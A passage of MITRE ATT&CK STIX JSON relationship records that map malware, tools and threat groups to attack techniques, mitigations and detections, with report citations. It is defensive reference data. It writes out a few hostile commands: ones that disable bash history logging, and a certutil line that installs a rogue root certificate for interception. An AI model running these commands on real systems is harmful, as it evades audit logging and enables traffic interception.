18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."},{"source_name":"GitHub QuasarRAT","url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to edit the Registry on the victim’s machine.(Citation: GitHub QuasarRAT)(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-03T16:51:10.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53e123a8-0794-4bec-b71b-3c4b4a94057f","type":"relationship","created":"2020-03-30T19:45:04.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"modified":"2020-03-30T19:45:04.381Z","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443 with a FakeTLS method.(Citation: US-CERT HARDRAIN March 2018)","relationship_type":"uses","source_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53e1bf2f-7ab4-4173-879b-9975618c4527","created":"2020-05-13T12:42:06.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.651Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims to execute malware with spearphishing attachments containing macros to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or [Bazar](https://attack.mitre.org/software/S0534).(Citation: CrowdStrike Grim Spider May 2019)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53e53569-4ae7-453c-953e-fc683e7794b0","type":"relationship","created":"2021-09-29T12:14:55.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T14:45:04.435Z","description":"Data loss prevention can restrict access to sensitive data and detect sensitive data that is unencrypted.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53e89989-29a6-461f-854c-42eb96b221b3","created":"2019-05-28T18:49:59.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Sep 2017","description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:37:19.417Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents.(Citation: Proofpoint TA505 Sep 2017)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--53e9613e-a929-492a-885e-495ec3f4df9a","created":"2023-06-14T19:13:59.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-26T19:53:04.493Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has the ability to use the command line for execution on the targeted system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53eea817-303c-4700-9176-4a21e60a2689","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to activation of instances that are occurring outside of normal activity/planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","target_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53f4758c-ffc1-4e93-8eb0-bd3f664de7d1","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53f5aaf3-b4de-4e31-bf50-a297bb8b61ca","type":"relationship","created":"2021-09-07T14:30:30.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.933Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can determine when it has been installed on a host for at least 15 days before downloading the final payload.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53fb076c-5f59-45da-bbc2-94b5f3a3eb91","type":"relationship","created":"2022-03-22T15:05:00.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:05:00.439Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has performed frequent and scheduled data collection from victim networks.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5401a61d-a795-4619-aa7e-fdf54cd4358e","type":"relationship","created":"2020-03-25T18:30:50.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.562Z","description":"There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5403aad2-3840-4b49-8124-961e1a24d044","type":"relationship","created":"2022-03-07T20:21:57.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T20:21:57.238Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can upload files from a compromised host.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5406867b-20fe-43e3-bd64-6816ba340b60","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.093Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5408c62f-55e0-4480-8449-ec3c191b66b8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.632Z","description":"[Proton](https://attack.mitre.org/software/S0279) modifies the tty_tickets line in the sudoers file.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5409161f-242a-4e80-b908-ffd1537709a9","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to firmware for unexpected modifications to settings and/or data that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. ","modified":"2022-04-11T17:23:22.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--540937b6-1afd-4f8b-8deb-c1c4f6456ce7","type":"relationship","created":"2020-03-27T12:10:23.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T12:18:44.450Z","description":"Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system. Ensuring that the sudo tty_tickets setting is enabled will prevent this leakage across tty sessions.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5409a62e-d298-4026-8829-550306e8e4a6","type":"relationship","created":"2020-07-23T14:20:48.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.735Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has exfiltrated host environment information to an external C2 domain via port 9006.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--540aa8c9-2a16-4c8a-be79-8dbd2d5d0ef4","created":"2022-04-06T19:34:23.202Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Koadic](https://attack.mitre.org/software/S0250) has used HTTP for C2 communications.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:34:23.202Z","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5410e6d1-1ec5-4cb9-9647-378f2266f774","type":"relationship","created":"2021-11-12T19:30:36.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T19:52:52.989Z","description":" After encryption, [Diavol](https://attack.mitre.org/software/S0659) will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text “All your files are encrypted! For more information see “README-FOR-DECRYPT.txt\".(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5412525e-cba5-4fa1-89ff-7e6fa2b92e24","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.875Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) decodes embedded XOR strings.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--541855dd-0249-4f63-8e95-0024f760484e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.731Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. [Hydraq](https://attack.mitre.org/software/S0203)'s backdoor also enables remote attackers to modify and delete subkeys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54188543-7746-4158-9a9f-5556bb99ec7a","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.315Z","description":"A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a [Tor](https://attack.mitre.org/software/S0183) hidden service to forward traffic from the [Tor](https://attack.mitre.org/software/S0183) client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR.(Citation: Mandiant No Easy Breach)(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.513Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--54260ee3-6cb4-43a2-a4a3-5b317d873759","created":"2022-04-14T16:21:44.030Z","x_mitre_version":"0.1","external_references":[{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.","modified":"2022-04-14T16:21:44.030Z","relationship_type":"detects","source_ref":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--542bb806-3e73-42f5-8a3e-86b498093f4b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/","description":"Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.","source_name":"Palo Alto Retefe"}],"modified":"2021-08-16T17:50:50.467Z","description":"[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\\cert512121.der.(Citation: Palo Alto Retefe)","relationship_type":"uses","source_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--542decaf-826e-41b4-bf66-3ef376767928","created":"2023-03-14T16:15:56.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T22:56:52.298Z","description":"Use application controls to mitigate installation and use of payloads that may be utilized to spoof security alerting.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54306888-1f93-4461-bcac-a56ae7073b31","type":"relationship","created":"2019-07-18T17:42:08.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T15:08:49.256Z","description":"Use application control to mitigate installation and use of unapproved software that can be used for remote access.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5434447a-d954-4106-9657-ee62a4acf27b","type":"relationship","created":"2020-05-13T19:59:39.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:34.060Z","description":"[DustySky](https://attack.mitre.org/software/S0062) has exfiltrated data to the C2 server.(Citation: Kaspersky MoleRATs April 